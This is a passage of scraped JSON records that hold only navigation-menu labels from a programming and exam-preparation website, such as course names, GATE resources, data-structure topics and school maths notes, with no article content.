Papers and Official KeysGATE 2021 DatesGATE CS 2021 SyllabusImportant Topics for GATE CS" }, { "code": null, "e": 6966, "s": 6938, "text": "GATE Computer Science Notes" }, { "code": null, "e": 6984, "s": 6966, "text": "Last Minute Notes" }, { "code": null, "e": 7006, "s": 6984, "text": "GATE CS Solved Papers" }, { "code": null, "e": 7048, "s": 7006, "text": "GATE CS Original Papers and Official Keys" }, { "code": null, "e": 7064, "s": 7048, "text": "GATE 2021 Dates" }, { "code": null, "e": 7086, "s": 7064, "text": "GATE CS 2021 Syllabus" }, { "code": null, "e": 7115, "s": 7086, "text": "Important Topics for GATE CS" }, { "code": null, "e": 7189, "s": 7115, "text": "Web TechnologiesHTMLCSSJavaScriptAngularJSReactJSNodeJSBootstrapjQueryPHP" }, { "code": null, "e": 7194, "s": 7189, "text": "HTML" }, { "code": null, "e": 7198, "s": 7194, "text": "CSS" }, { "code": null, "e": 7209, "s": 7198, "text": "JavaScript" }, { "code": null, "e": 7219, "s": 7209, "text": "AngularJS" }, { "code": null, "e": 7227, "s": 7219, "text": "ReactJS" }, { "code": null, "e": 7234, "s": 7227, "text": "NodeJS" }, { "code": null, "e": 7244, "s": 7234, "text": "Bootstrap" }, { "code": null, "e": 7251, "s": 7244, "text": "jQuery" }, { "code": null, "e": 7255, "s": 7251, "text": "PHP" }, { "code": null, "e": 7318, "s": 7255, "text": "Software DesignsSoftware Design PatternsSystem Design Tutorial" }, { "code": null, "e": 7343, "s": 7318, "text": "Software Design Patterns" }, { "code": null, "e": 7366, "s": 7343, "text": "System Design Tutorial" }, { "code": null, "e": 7923, "s": 7366, "text": "School LearningSchool ProgrammingMathematicsNumber SystemAlgebraTrigonometryStatisticsProbabilityGeometryMensurationCalculusMaths Notes (Class 8-12)Class 8 NotesClass 9 NotesClass 10 NotesClass 11 NotesClass 12 NotesNCERT SolutionsClass 8 Maths SolutionClass 9 Maths SolutionClass 10 Maths SolutionClass 11 Maths SolutionClass 12 Maths SolutionRD Sharma SolutionsClass 8 Maths SolutionClass 9 Maths SolutionClass 10 Maths SolutionClass 11 Maths SolutionClass 12 Maths SolutionPhysics Notes (Class 8-11)Class 8 NotesClass 9 NotesClass 10 NotesClass 11 Notes" }, { "code": null, "e": 7942, "s": 7923, "text": "School Programming" }, { "code": null, "e": 8034, "s": 7942, "text": "MathematicsNumber SystemAlgebraTrigonometryStatisticsProbabilityGeometryMensurationCalculus" }, { "code": null, "e": 8048, "s": 8034, "text": "Number System" }, { "code": null, "e": 8056, "s": 8048, "text": "Algebra" }, { "code": null, "e": 8069, "s": 8056, "text": "Trigonometry" }, { "code": null, "e": 8080, "s": 8069, "text": "Statistics" }, { "code": null, "e": 8092, "s": 8080, "text": "Probability" }, { "code": null, "e": 8101, "s": 8092, "text": "Geometry" }, { "code": null, "e": 8113, "s": 8101, "text": "Mensuration" }, { "code": null, "e": 8122, "s": 8113, "text": "Calculus" }, { "code": null, "e": 8215, "s": 8122, "text": "Maths Notes (Class 8-12)Class 8 NotesClass 9 NotesClass 10 NotesClass 11 NotesClass 12 Notes" }, { "code": null, "e": 8229, "s": 8215, "text": "Class 8 Notes" }, { "code": null, "e": 8243, "s": 8229, "text": "Class 9 Notes" }, { "code": null, "e": 8258, "s": 8243, "text": "Class 10 Notes" }, { "code": null, "e": 8273, "s": 8258, "text": "Class 11 Notes" }, { "code": null, "e": 8288, "s": 8273, "text": "Class 12 Notes" }, { "code": null, "e": 8417, "s": 8288, "text": "NCERT SolutionsClass 8 Maths SolutionClass 9 Maths SolutionClass 10 Maths SolutionClass 11 Maths SolutionClass 12 Maths Solution" }, { "code": null, "e": 8440, "s": 8417, "text": "Class 8 Maths Solution" }, { "code": null, "e": 8463, "s": 8440, "text": "Class 9 Maths Solution" }, { "code": null, "e": 8487, "s": 8463, "text": "Class 10 Maths Solution" }, { "code": null, "e": 8511, "s": 8487, "text": "Class 11 Maths Solution" }, { "code": null, "e": 8535, "s": 8511, "text": "Class 12 Maths Solution" }, { "code": null, "e": 8668, "s": 8535, "text": "RD Sharma SolutionsClass 8 Maths SolutionClass 9 Maths SolutionClass 10 Maths SolutionClass 11 Maths SolutionClass 12 Maths Solution" }, { "code": null, "e": 8691, "s": 8668, "text": "Class 8 Maths Solution" }, { "code": null, "e": 8714, "s": 8691, "text": "Class 9 Maths Solution" }, { "code": null, "e": 8738, "s": 8714, "text": "Class 10 Maths Solution" }, { "code": null, "e": 8762, "s": 8738, "text": "Class 11 Maths Solution" }, { "code": null, "e": 8786, "s": 8762, "text": "Class 12 Maths Solution" }, { "code": null, "e": 8867, "s": 8786, "text": "Physics Notes (Class 8-11)Class 8 NotesClass 9 NotesClass 10 NotesClass 11 Notes" }, { "code": null, "e": 8881, "s": 8867, "text": "Class 8 Notes" }, { "code": null, "e": 8895, "s": 8881, "text": "Class 9 Notes" }, { "code": null, "e": 8910, "s": 8895, "text": "Class 10 Notes" }, { "code": null, "e": 8925, "s": 8910, "text": "Class 11 Notes" }, { "code": null, "e": 9131, "s": 8925, "text": "CS Exams/PSUsISROISRO CS Original Papers and Official KeysISRO CS Solved PapersISRO CS Syllabus for Scientist/Engineer ExamUGC NETUGC NET CS Notes Paper IIUGC NET CS Notes Paper IIIUGC NET CS Solved Papers" }, { "code": null, "e": 9242, "s": 9131, "text": "ISROISRO CS Original Papers and Official KeysISRO CS Solved PapersISRO CS Syllabus for Scientist/Engineer Exam" }, { "code": null, "e": 9284, "s": 9242, "text": "ISRO CS Original Papers and Official Keys" }, { "code": null, "e": 9306, "s": 9284, "text": "ISRO CS Solved Papers" }, { "code": null, "e": 9351, "s": 9306, "text": "ISRO CS Syllabus for Scientist/Engineer Exam" }, { "code": null, "e": 9434, "s": 9351, "text": "UGC NETUGC NET CS Notes Paper IIUGC NET CS Notes Paper IIIUGC NET CS Solved Papers" }, { "code": null, "e": 9460, "s": 9434, "text": "UGC NET CS Notes Paper II" }, { "code": null, "e": 9487, "s": 9460, "text": "UGC NET CS Notes Paper III" }, { "code": null, "e": 9512, "s": 9487, "text": "UGC NET CS Solved Papers" }, { "code": null, "e": 9717, "s": 9512, "text": "StudentCampus Ambassador ProgramSchool Ambassador ProgramProjectGeek of the MonthCampus Geek of the MonthPlacement CourseCompetititve ProgrammingTestimonialsStudent ChapterGeek on the TopInternshipCareers" }, { "code": null, "e": 9743, "s": 9717, "text": "Campus Ambassador Program" }, { "code": null, "e": 9769, "s": 9743, "text": "School Ambassador Program" }, { "code": null, "e": 9777, "s": 9769, "text": "Project" }, { "code": null, "e": 9795, "s": 9777, "text": "Geek of the Month" }, { "code": null, "e": 9820, "s": 9795, "text": "Campus Geek of the Month" }, { "code": null, "e": 9837, "s": 9820, "text": "Placement Course" }, { "code": null, "e": 9862, "s": 9837, "text": "Competititve Programming" }, { "code": null, "e": 9875, "s": 9862, "text": "Testimonials" }, { "code": null, "e": 9891, "s": 9875, "text": "Student Chapter" }, { "code": null, "e": 9907, "s": 9891, "text": "Geek on the Top" }, { "code": null, "e": 9918, "s": 9907, "text": "Internship" }, { "code": null, "e": 9926, "s": 9918, "text": "Careers" }, { "code": null, "e": 9965, "s": 9926, "text": "JobsApply for JobsPost a JobJOB-A-THON" }, { "code": null, "e": 9980, "s": 9965, "text": "Apply for Jobs" }, { "code": null, "e": 9991, "s": 9980, "text": "Post a Job" }, { "code": null, "e": 10002, "s": 9991, "text": "JOB-A-THON" }, { "code": null, "e": 10267, "s": 10002, "text": "PracticeAll DSA ProblemsProblem of the DayInterview Series: Weekly ContestsBi-Wizard Coding: School ContestsContests and EventsPractice SDE SheetCurated DSA ListsTop 50 Array ProblemsTop 50 String ProblemsTop 50 Tree ProblemsTop 50 Graph ProblemsTop 50 DP Problems" }, { "code": null, "e": 10284, "s": 10267, "text": "All DSA Problems" }, { "code": null, "e": 10303, "s": 10284, "text": "Problem of the Day" }, { "code": null, "e": 10337, "s": 10303, "text": "Interview Series: Weekly Contests" }, { "code": null, "e": 10371, "s": 10337, "text": "Bi-Wizard Coding: School Contests" }, { "code": null, "e": 10391, "s": 10371, "text": "Contests and Events" }, { "code": null, "e": 10410, "s": 10391, "text": "Practice SDE Sheet" }, { "code": null, "e": 10530, "s": 10410, "text": "Curated DSA ListsTop 50 Array ProblemsTop 50 String ProblemsTop 50 Tree ProblemsTop 50 Graph ProblemsTop 50 DP Problems" }, { "code": null, "e": 10552, "s": 10530, "text": "Top 50 Array Problems" }, { "code": null, "e": 10575, "s": 10552, "text": "Top 50 String Problems" }, { "code": null, "e": 10596, "s": 10575, "text": "Top 50 Tree Problems" }, { "code": null, "e": 10618, "s": 10596, "text": "Top 50 Graph Problems" }, { "code": null, "e": 10637, "s": 10618, "text": "Top 50 DP Problems" }, { "code": null, "e": 10908, "s": 10641, "text": "WriteCome write articles for us and get featuredPracticeLearn and code with the best industry expertsPremiumGet access to ad-free content, doubt assistance and more!JobsCome and find your dream job with usGeeks DigestQuizzesGeeks CampusGblog ArticlesIDECampus Mantri" }, { "code": null, "e": 10921, "s": 10908, "text": "Geeks Digest" }, { "code": null, "e": 10929, "s": 10921, "text": "Quizzes" }, { "code": null, "e": 10942, "s": 10929, "text": "Geeks Campus" }, { "code": null, "e": 10957, "s": 10942, "text": "Gblog Articles" }, { "code": null, "e": 10961, "s": 10957, "text": "IDE" }, { "code": null, "e": 10975, "s": 10961, "text": "Campus Mantri" }, { "code": null, "e": 10983, "s": 10975, "text": "Sign In" }, { "code": null, "e": 10991, "s": 10983, "text": "Sign In" }, { "code": null, "e": 10996, "s": 10991, "text": "Home" }, { "code": null, "e": 11009, "s": 10996, "text": "Saved Videos" }, { "code": null, "e": 11017, "s": 11009, "text": "Courses" }, { "code": null, "e": 15482, "s": 11017, "text": "\n\nFor Working Professionals\n \n\n\n\nLIVE\n \n\n\nDSA Live Classes\n\nSystem Design\n\nJava Backend Development\n\nFull Stack LIVE\n\nExplore More\n\n\nSelf-Paced\n \n\n\nDSA- Self Paced\n\nSDE Theory\n\nMust-Do Coding Questions\n\nExplore More\n\n\nFor Students\n \n\n\n\nLIVE\n \n\n\nCompetitive Programming\n\nData Structures with C++\n\nData Science\n\nExplore More\n\n\nSelf-Paced\n \n\n\nDSA- Self Paced\n\nCIP\n\nJAVA / Python / C++\n\nExplore More\n\n\nSchool Courses\n \n\n\nSchool Guide\n\nPython Programming\n\nLearn To Make Apps\n\nExplore more\n\n\nAlgorithms\n \n\n\nSearching Algorithms\n\nSorting Algorithms\n\nGraph Algorithms\n\nPattern Searching\n\nGeometric Algorithms\n\nMathematical\n\nBitwise Algorithms\n\nRandomized Algorithms\n\nGreedy Algorithms\n\nDynamic Programming\n\nDivide and Conquer\n\nBacktracking\n\nBranch and Bound\n\nAll Algorithms\n\n\nAnalysis of Algorithms\n \n\n\nAsymptotic Analysis\n\nWorst, Average and Best Cases\n\nAsymptotic Notations\n\nLittle o and little omega notations\n\nLower and Upper Bound Theory\n\nAnalysis of Loops\n\nSolving Recurrences\n\nAmortized Analysis\n\nWhat does 'Space Complexity' mean ?\n\nPseudo-polynomial Algorithms\n\nPolynomial Time Approximation Scheme\n\nA Time Complexity Question\n\n\nData Structures\n \n\n\nArrays\n\nLinked List\n\nStack\n\nQueue\n\nBinary Tree\n\nBinary Search Tree\n\nHeap\n\nHashing\n\nGraph\n\nAdvanced Data Structure\n\nMatrix\n\nStrings\n\nAll Data Structures\n\n\nInterview Corner\n \n\n\nCompany Preparation\n\nTop Topics\n\nPractice Company Questions\n\nInterview Experiences\n\nExperienced Interviews\n\nInternship Interviews\n\nCompetititve Programming\n\nDesign Patterns\n\nSystem Design Tutorial\n\nMultiple Choice Quizzes\n\n\nLanguages\n \n\n\nC\n\nC++\n\nJava\n\nPython\n\nC#\n\nJavaScript\n\njQuery\n\nSQL\n\nPHP\n\nScala\n\nPerl\n\nGo Language\n\nHTML\n\nCSS\n\nKotlin\n\n\nML & Data Science\n \n\n\nMachine Learning\n\nData Science\n\n\nCS Subjects\n \n\n\nMathematics\n\nOperating System\n\nDBMS\n\nComputer Networks\n\nComputer Organization and Architecture\n\nTheory of Computation\n\nCompiler Design\n\nDigital Logic\n\nSoftware Engineering\n\n\nGATE\n \n\n\nGATE Computer Science Notes\n\nLast Minute Notes\n\nGATE CS Solved Papers\n\nGATE CS Original Papers and Official Keys\n\nGATE 2021 Dates\n\nGATE CS 2021 Syllabus\n\nImportant Topics for GATE CS\n\n\nWeb Technologies\n \n\n\nHTML\n\nCSS\n\nJavaScript\n\nAngularJS\n\nReactJS\n\nNodeJS\n\nBootstrap\n\njQuery\n\nPHP\n\n\nSoftware Designs\n \n\n\nSoftware Design Patterns\n\nSystem Design Tutorial\n\n\nSchool Learning\n \n\n\nSchool Programming\n\n\nMathematics\n \n\n\nNumber System\n\nAlgebra\n\nTrigonometry\n\nStatistics\n\nProbability\n\nGeometry\n\nMensuration\n\nCalculus\n\n\nMaths Notes (Class 8-12)\n \n\n\nClass 8 Notes\n\nClass 9 Notes\n\nClass 10 Notes\n\nClass 11 Notes\n\nClass 12 Notes\n\n\nNCERT Solutions\n \n\n\nClass 8 Maths Solution\n\nClass 9 Maths Solution\n\nClass 10 Maths Solution\n\nClass 11 Maths Solution\n\nClass 12 Maths Solution\n\n\nRD Sharma Solutions\n \n\n\nClass 8 Maths Solution\n\nClass 9 Maths Solution\n\nClass 10 Maths Solution\n\nClass 11 Maths Solution\n\nClass 12 Maths Solution\n\n\nPhysics Notes (Class 8-11)\n \n\n\nClass 8 Notes\n\nClass 9 Notes\n\nClass 10 Notes\n\nClass 11 Notes\n\n\nCS Exams/PSUs\n \n\n\n\nISRO\n \n\n\nISRO CS Original Papers and Official Keys\n\nISRO CS Solved Papers\n\nISRO CS Syllabus for Scientist/Engineer Exam\n\n\nUGC NET\n \n\n\nUGC NET CS Notes Paper II\n\nUGC NET CS Notes Paper III\n\nUGC NET CS Solved Papers\n\n\nStudent\n \n\n\nCampus Ambassador Program\n\nSchool Ambassador Program\n\nProject\n\nGeek of the Month\n\nCampus Geek of the Month\n\nPlacement Course\n\nCompetititve Programming\n\nTestimonials\n\nStudent Chapter\n\nGeek on the Top\n\nInternship\n\nCareers\n\n\nCurated DSA Lists\n \n\n\nTop 50 Array Problems\n\nTop 50 String Problems\n\nTop 50 Tree Problems\n\nTop 50 Graph Problems\n\nTop 50 DP Problems\n\n\nTutorials\n \n\n\n\nJobs\n \n\n\nApply for Jobs\n\nPost a Job\n\nJOB-A-THON\n\n\nPractice\n \n\n\nAll DSA Problems\n\nProblem of the Day\n\nInterview Series: Weekly Contests\n\nBi-Wizard Coding: School Contests\n\nContests and Events\n\nPractice SDE Sheet\n" }, { "code": null, "e": 15536, "s": 15482, "text": "\nFor Working Professionals\n \n\n" }, { "code": null, "e": 15659, "s": 15536, "text": "\nLIVE\n \n\n\nDSA Live Classes\n\nSystem Design\n\nJava Backend Development\n\nFull Stack LIVE\n\nExplore More\n" }, { "code": null, "e": 15678, "s": 15659, "text": "\nDSA Live Classes\n" }, { "code": null, "e": 15694, "s": 15678, "text": "\nSystem Design\n" }, { "code": null, "e": 15721, "s": 15694, "text": "\nJava Backend Development\n" }, { "code": null, "e": 15739, "s": 15721, "text": "\nFull Stack LIVE\n" }, { "code": null, "e": 15754, "s": 15739, "text": "\nExplore More\n" }, { "code": null, "e": 15862, "s": 15754, "text": "\nSelf-Paced\n \n\n\nDSA- Self Paced\n\nSDE Theory\n\nMust-Do Coding Questions\n\nExplore More\n" }, { "code": null, "e": 15880, "s": 15862, "text": "\nDSA- Self Paced\n" }, { "code": null, "e": 15893, "s": 15880, "text": "\nSDE Theory\n" }, { "code": null, "e": 15920, "s": 15893, "text": "\nMust-Do Coding Questions\n" }, { "code": null, "e": 15935, "s": 15920, "text": "\nExplore More\n" }, { "code": null, "e": 15976, "s": 15935, "text": "\nFor Students\n \n\n" }, { "code": null, "e": 16088, "s": 15976, "text": "\nLIVE\n \n\n\nCompetitive Programming\n\nData Structures with C++\n\nData Science\n\nExplore More\n" }, { "code": null, "e": 16114, "s": 16088, "text": "\nCompetitive Programming\n" }, { "code": null, "e": 16141, "s": 16114, "text": "\nData Structures with C++\n" }, { "code": null, "e": 16156, "s": 16141, "text": "\nData Science\n" }, { "code": null, "e": 16171, "s": 16156, "text": "\nExplore More\n" }, { "code": null, "e": 16267, "s": 16171, "text": "\nSelf-Paced\n \n\n\nDSA- Self Paced\n\nCIP\n\nJAVA / Python / C++\n\nExplore More\n" }, { "code": null, "e": 16285, "s": 16267, "text": "\nDSA- Self Paced\n" }, { "code": null, "e": 16291, "s": 16285, "text": "\nCIP\n" }, { "code": null, "e": 16313, "s": 16291, "text": "\nJAVA / Python / C++\n" }, { "code": null, "e": 16328, "s": 16313, "text": "\nExplore More\n" }, { "code": null, "e": 16439, "s": 16328, "text": "\nSchool Courses\n \n\n\nSchool Guide\n\nPython Programming\n\nLearn To Make Apps\n\nExplore more\n" }, { "code": null, "e": 16454, "s": 16439, "text": "\nSchool Guide\n" }, { "code": null, "e": 16475, "s": 16454, "text": "\nPython Programming\n" }, { "code": null, "e": 16496, "s": 16475, "text": "\nLearn To Make Apps\n" }, { "code": null, "e": 16511, "s": 16496, "text": "\nExplore more\n" }, { "code": null, "e": 16816, "s": 16511, "text": "\nAlgorithms\n \n\n\nSearching Algorithms\n\nSorting Algorithms\n\nGraph Algorithms\n\nPattern Searching\n\nGeometric Algorithms\n\nMathematical\n\nBitwise Algorithms\n\nRandomized Algorithms\n\nGreedy Algorithms\n\nDynamic Programming\n\nDivide and Conquer\n\nBacktracking\n\nBranch and Bound\n\nAll Algorithms\n" }, { "code": null, "e": 16839, "s": 16816, "text": "\nSearching Algorithms\n" }, { "code": null, "e": 16860, "s": 16839, "text": "\nSorting Algorithms\n" }, { "code": null, "e": 16879, "s": 16860, "text": "\nGraph Algorithms\n" }, { "code": null, "e": 16899, "s": 16879, "text": "\nPattern Searching\n" }, { "code": null, "e": 16922, "s": 16899, "text": "\nGeometric Algorithms\n" }, { "code": null, "e": 16937, "s": 16922, "text": "\nMathematical\n" }, { "code": null, "e": 16958, "s": 16937, "text": "\nBitwise Algorithms\n" }, { "code": null, "e": 16982, "s": 16958, "text": "\nRandomized Algorithms\n" }, { "code": null, "e": 17002, "s": 16982, "text": "\nGreedy Algorithms\n" }, { "code": null, "e": 17024, "s": 17002, "text": "\nDynamic Programming\n" }, { "code": null, "e": 17045, "s": 17024, "text": "\nDivide and Conquer\n" }, { "code": null, "e": 17060, "s": 17045, "text": "\nBacktracking\n" }, { "code": null, "e": 17079, "s": 17060, "text": "\nBranch and Bound\n" }, { "code": null, "e": 17096, "s": 17079, "text": "\nAll Algorithms\n" }, { "code": null, "e": 17481, "s": 17096, "text": "\nAnalysis of Algorithms\n \n\n\nAsymptotic Analysis\n\nWorst, Average and Best Cases\n\nAsymptotic Notations\n\nLittle o and little omega notations\n\nLower and Upper Bound Theory\n\nAnalysis of Loops\n\nSolving Recurrences\n\nAmortized Analysis\n\nWhat does 'Space Complexity' mean ?\n\nPseudo-polynomial Algorithms\n\nPolynomial Time Approximation Scheme\n\nA Time Complexity Question\n" }, { "code": null, "e": 17503, "s": 17481, "text": "\nAsymptotic Analysis\n" }, { "code": null, "e": 17535, "s": 17503, "text": "\nWorst, Average and Best Cases\n" }, { "code": null, "e": 17558, "s": 17535, "text": "\nAsymptotic Notations\n" }, { "code": null, "e": 17596, "s": 17558, "text": "\nLittle o and little omega notations\n" }, { "code": null, "e": 17627, "s": 17596, "text": "\nLower and Upper Bound Theory\n" }, { "code": null, "e": 17647, "s": 17627, "text": "\nAnalysis of Loops\n" }, { "code": null, "e": 17669, "s": 17647, "text": "\nSolving Recurrences\n" }, { "code": null, "e": 17690, "s": 17669, "text": "\nAmortized Analysis\n" }, { "code": null, "e": 17728, "s": 17690, "text": "\nWhat does 'Space Complexity' mean ?\n" }, { "code": null, "e": 17759, "s": 17728, "text": "\nPseudo-polynomial Algorithms\n" }, { "code": null, "e": 17798, "s": 17759, "text": "\nPolynomial Time Approximation Scheme\n" }, { "code": null, "e": 17827, "s": 17798, "text": "\nA Time Complexity Question\n" }, { "code": null, "e": 18024, "s": 17827, "text": "\nData Structures\n \n\n\nArrays\n\nLinked List\n\nStack\n\nQueue\n\nBinary Tree\n\nBinary Search Tree\n\nHeap\n\nHashing\n\nGraph\n\nAdvanced Data Structure\n\nMatrix\n\nStrings\n\nAll Data Structures\n" }, { "code": null, "e": 18033, "s": 18024, "text": "\nArrays\n" }, { "code": null, "e": 18047, "s": 18033, "text": "\nLinked List\n" }, { "code": null, "e": 18055, "s": 18047, "text": "\nStack\n" }, { "code": null, "e": 18063, "s": 18055, "text": "\nQueue\n" }, { "code": null, "e": 18077, "s": 18063, "text": "\nBinary Tree\n" }, { "code": null, "e": 18098, "s": 18077, "text": "\nBinary Search Tree\n" }, { "code": null, "e": 18105, "s": 18098, "text": "\nHeap\n" }, { "code": null, "e": 18115, "s": 18105, "text": "\nHashing\n" }, { "code": null, "e": 18123, "s": 18115, "text": "\nGraph\n" }, { "code": null, "e": 18149, "s": 18123, "text": "\nAdvanced Data Structure\n" }, { "code": null, "e": 18158, "s": 18149, "text": "\nMatrix\n" }, { "code": null, "e": 18168, "s": 18158, "text": "\nStrings\n" }, { "code": null, "e": 18190, "s": 18168, "text": "\nAll Data Structures\n" }, { "code": null, "e": 18458, "s": 18190, "text": "\nInterview Corner\n \n\n\nCompany Preparation\n\nTop Topics\n\nPractice Company Questions\n\nInterview Experiences\n\nExperienced Interviews\n\nInternship Interviews\n\nCompetititve Programming\n\nDesign Patterns\n\nSystem Design Tutorial\n\nMultiple Choice Quizzes\n" }, { "code": null, "e": 18480, "s": 18458, "text": "\nCompany Preparation\n" }, { "code": null, "e": 18493, "s": 18480, "text": "\nTop Topics\n" }, { "code": null, "e": 18522, "s": 18493, "text": "\nPractice Company Questions\n" }, { "code": null, "e": 18546, "s": 18522, "text": "\nInterview Experiences\n" }, { "code": null, "e": 18571, "s": 18546, "text": "\nExperienced Interviews\n" }, { "code": null, "e": 18595, "s": 18571, "text": "\nInternship Interviews\n" }, { "code": null, "e": 18622, "s": 18595, "text": "\nCompetititve Programming\n" }, { "code": null, "e": 18640, "s": 18622, "text": "\nDesign Patterns\n" }, { "code": null, "e": 18665, "s": 18640, "text": "\nSystem Design Tutorial\n" }, { "code": null, "e": 18691, "s": 18665, "text": "\nMultiple Choice Quizzes\n" }, { "code": null, "e": 18830, "s": 18691, "text": "\nLanguages\n \n\n\nC\n\nC++\n\nJava\n\nPython\n\nC#\n\nJavaScript\n\njQuery\n\nSQL\n\nPHP\n\nScala\n\nPerl\n\nGo Language\n\nHTML\n\nCSS\n\nKotlin\n" }, { "code": null, "e": 18834, "s": 18830, "text": "\nC\n" }, { "code": null, "e": 18840, "s": 18834, "text": "\nC++\n" }, { "code": null, "e": 18847, "s": 18840, "text": "\nJava\n" }, { "code": null, "e": 18856, "s": 18847, "text": "\nPython\n" }, { "code": null, "e": 18861, "s": 18856, "text": "\nC#\n" }, { "code": null, "e": 18874, "s": 18861, "text": "\nJavaScript\n" }, { "code": null, "e": 18883, "s": 18874, "text": "\njQuery\n" }, { "code": null, "e": 18889, "s": 18883, "text": "\nSQL\n" }, { "code": null, "e": 18895, "s": 18889, "text": "\nPHP\n" }, { "code": null, "e": 18903, "s": 18895, "text": "\nScala\n" }, { "code": null, "e": 18910, "s": 18903, "text": "\nPerl\n" }, { "code": null, "e": 18924, "s": 18910, "text": "\nGo Language\n" }, { "code": null, "e": 18931, "s": 18924, "text": "\nHTML\n" }, { "code": null, "e": 18937, "s": 18931, "text": "\nCSS\n" }, { "code": null, "e": 18946, "s": 18937, "text": "\nKotlin\n" }, { "code": null, "e": 19024, "s": 18946, "text": "\nML & Data Science\n \n\n\nMachine Learning\n\nData Science\n" }, { "code": null, "e": 19043, "s": 19024, "text": "\nMachine Learning\n" }, { "code": null, "e": 19058, "s": 19043, "text": "\nData Science\n" }, { "code": null, "e": 19271, "s": 19058, "text": "\nCS Subjects\n \n\n\nMathematics\n\nOperating System\n\nDBMS\n\nComputer Networks\n\nComputer Organization and Architecture\n\nTheory of Computation\n\nCompiler Design\n\nDigital Logic\n\nSoftware Engineering\n" }, { "code": null, "e": 19285, "s": 19271, "text": "\nMathematics\n" }, { "code": null, "e": 19304, "s": 19285, "text": "\nOperating System\n" }, { "code": null, "e": 19311, "s": 19304, "text": "\nDBMS\n" }, { "code": null, "e": 19331, "s": 19311, "text": "\nComputer Networks\n" }, { "code": null, "e": 19372, "s": 19331, "text": "\nComputer Organization and Architecture\n" }, { "code": null, "e": 19396, "s": 19372, "text": "\nTheory of Computation\n" }, { "code": null, "e": 19414, "s": 19396, "text": "\nCompiler Design\n" }, { "code": null, "e": 19430, "s": 19414, "text": "\nDigital Logic\n" }, { "code": null, "e": 19453, "s": 19430, "text": "\nSoftware Engineering\n" }, { "code": null, "e": 19670, "s": 19453, "text": "\nGATE\n \n\n\nGATE Computer Science Notes\n\nLast Minute Notes\n\nGATE CS Solved Papers\n\nGATE CS Original Papers and Official Keys\n\nGATE 2021 Dates\n\nGATE CS 2021 Syllabus\n\nImportant Topics for GATE CS\n" }, { "code": null, "e": 19700, "s": 19670, "text": "\nGATE Computer Science Notes\n" }, { "code": null, "e": 19720, "s": 19700, "text": "\nLast Minute Notes\n" }, { "code": null, "e": 19744, "s": 19720, "text": "\nGATE CS Solved Papers\n" }, { "code": null, "e": 19788, "s": 19744, "text": "\nGATE CS Original Papers and Official Keys\n" }, { "code": null, "e": 19806, "s": 19788, "text": "\nGATE 2021 Dates\n" }, { "code": null, "e": 19830, "s": 19806, "text": "\nGATE CS 2021 Syllabus\n" }, { "code": null, "e": 19861, "s": 19830, "text": "\nImportant Topics for GATE CS\n" }, { "code": null, "e": 19981, "s": 19861, "text": "\nWeb Technologies\n \n\n\nHTML\n\nCSS\n\nJavaScript\n\nAngularJS\n\nReactJS\n\nNodeJS\n\nBootstrap\n\njQuery\n\nPHP\n" }, { "code": null, "e": 19988, "s": 19981, "text": "\nHTML\n" }, { "code": null, "e": 19994, "s": 19988, "text": "\nCSS\n" }, { "code": null, "e": 20007, "s": 19994, "text": "\nJavaScript\n" }, { "code": null, "e": 20019, "s": 20007, "text": "\nAngularJS\n" }, { "code": null, "e": 20029, "s": 20019, "text": "\nReactJS\n" }, { "code": null, "e": 20038, "s": 20029, "text": "\nNodeJS\n" }, { "code": null, "e": 20050, "s": 20038, "text": "\nBootstrap\n" }, { "code": null, "e": 20059, "s": 20050, "text": "\njQuery\n" }, { "code": null, "e": 20065, "s": 20059, "text": "\nPHP\n" }, { "code": null, "e": 20160, "s": 20065, "text": "\nSoftware Designs\n \n\n\nSoftware Design Patterns\n\nSystem Design Tutorial\n" }, { "code": null, "e": 20187, "s": 20160, "text": "\nSoftware Design Patterns\n" }, { "code": null, "e": 20212, "s": 20187, "text": "\nSystem Design Tutorial\n" }, { "code": null, "e": 20276, "s": 20212, "text": "\nSchool Learning\n \n\n\nSchool Programming\n" }, { "code": null, "e": 20297, "s": 20276, "text": "\nSchool Programming\n" }, { "code": null, "e": 20433, "s": 20297, "text": "\nMathematics\n \n\n\nNumber System\n\nAlgebra\n\nTrigonometry\n\nStatistics\n\nProbability\n\nGeometry\n\nMensuration\n\nCalculus\n" }, { "code": null, "e": 20449, "s": 20433, "text": "\nNumber System\n" }, { "code": null, "e": 20459, "s": 20449, "text": "\nAlgebra\n" }, { "code": null, "e": 20474, "s": 20459, "text": "\nTrigonometry\n" }, { "code": null, "e": 20487, "s": 20474, "text": "\nStatistics\n" }, { "code": null, "e": 20501, "s": 20487, "text": "\nProbability\n" }, { "code": null, "e": 20512, "s": 20501, "text": "\nGeometry\n" }, { "code": null, "e": 20526, "s": 20512, "text": "\nMensuration\n" }, { "code": null, "e": 20537, "s": 20526, "text": "\nCalculus\n" }, { "code": null, "e": 20668, "s": 20537, "text": "\nMaths Notes (Class 8-12)\n \n\n\nClass 8 Notes\n\nClass 9 Notes\n\nClass 10 Notes\n\nClass 11 Notes\n\nClass 12 Notes\n" }, { "code": null, "e": 20684, "s": 20668, "text": "\nClass 8 Notes\n" }, { "code": null, "e": 20700, "s": 20684, "text": "\nClass 9 Notes\n" }, { "code": null, "e": 20717, "s": 20700, "text": "\nClass 10 Notes\n" }, { "code": null, "e": 20734, "s": 20717, "text": "\nClass 11 Notes\n" }, { "code": null, "e": 20751, "s": 20734, "text": "\nClass 12 Notes\n" }, { "code": null, "e": 20918, "s": 20751, "text": "\nNCERT Solutions\n \n\n\nClass 8 Maths Solution\n\nClass 9 Maths Solution\n\nClass 10 Maths Solution\n\nClass 11 Maths Solution\n\nClass 12 Maths Solution\n" }, { "code": null, "e": 20943, "s": 20918, "text": "\nClass 8 Maths Solution\n" }, { "code": null, "e": 20968, "s": 20943, "text": "\nClass 9 Maths Solution\n" }, { "code": null, "e": 20994, "s": 20968, "text": "\nClass 10 Maths Solution\n" }, { "code": null, "e": 21020, "s": 20994, "text": "\nClass 11 Maths Solution\n" }, { "code": null, "e": 21046, "s": 21020, "text": "\nClass 12 Maths Solution\n" }, { "code": null, "e": 21217, "s": 21046, "text": "\nRD Sharma Solutions\n \n\n\nClass 8 Maths Solution\n\nClass 9 Maths Solution\n\nClass 10 Maths Solution\n\nClass 11 Maths Solution\n\nClass 12 Maths Solution\n" }, { "code": null, "e": 21242, "s": 21217, "text": "\nClass 8 Maths Solution\n" }, { "code": null, "e": 21267, "s": 21242, "text": "\nClass 9 Maths Solution\n" }, { "code": null, "e": 21293, "s": 21267, "text": "\nClass 10 Maths Solution\n" }, { "code": null, "e": 21319, "s": 21293, "text": "\nClass 11 Maths Solution\n" }, { "code": null, "e": 21345, "s": 21319, "text": 